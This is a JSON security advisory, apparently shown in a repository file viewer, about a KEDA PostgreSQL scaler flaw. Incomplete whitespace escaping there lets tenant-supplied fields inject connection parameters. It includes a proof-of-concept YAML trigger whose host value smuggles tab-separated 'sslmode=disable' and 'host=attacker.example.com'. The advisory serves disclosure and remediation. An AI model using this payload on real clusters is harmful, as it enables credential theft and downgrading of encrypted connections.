Files
vuln-osv/data/Go/GHSA-6w3m-4hhp-775q.json
T

1 line
3.9 KiB
JSON
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"schema_version":"1.9.0","id":"GHSA-6w3m-4hhp-775q","published":"2026-07-07T23:44:13Z","modified":"2026-09-10T03:50:51.454382163Z","aliases":["CVE-2026-53572","GO-2026-5940"],"summary":"KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping","details":"### Summary\n`pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`:\n```go\nfunc escapePostgreConnectionParameter(str string) string {\n if !strings.Contains(str, \" \") {\n return str // returned as-is for any non-space whitespace\n }\n str = strings.ReplaceAll(str, \"'\", \"\\\\'\")\n return fmt.Sprintf(\"'%s'\", str)\n}\n```\nThe function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\\tsslmode=disable\\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.\n\n### Vulnerable code\n`pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257.\n\n### Impact\nTenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can:\n- **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.\n- **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword.\n- Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior.\n\nNote: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target.\n\n### Proof of concept\n```yaml\ntriggers:\n- type: postgresql\n metadata:\n host: \"legit.db.svc\\tsslmode=disable\\thost=attacker.example.com\"\n port: \"5432\"\n userName: \"keda\"\n dbName: \"metrics\"\n sslmode: \"require\"\n query: \"SELECT 1\"\n```\nAfter `escapePostgreConnectionParameter` (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`.\n\n### Suggested fix\n- Escape / reject any ASCII whitespace (`\\t`, `\\n`, `\\r`, `\\f`, `\\v`, space) and backslash.\n- Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding.\n- Validate each field against an allow-list pattern before use.\n\n### Resources\n- `pkg/scalers/postgresql_scaler.go`\n- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING","affected":[{"package":{"name":"github.com/kedacore/keda/v2","ecosystem":"Go","purl":"pkg:golang/github.com/kedacore/keda/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.20.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-6w3m-4hhp-775q/GHSA-6w3m-4hhp-775q.json"}}],"references":[{"type":"WEB","url":"https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q"},{"type":"PACKAGE","url":"https://github.com/kedacore/keda"}],"database_specific":{"cwe_ids":["CWE-74","CWE-89"],"github_reviewed":true,"github_reviewed_at":"2026-07-07T23:44:13Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N"}]}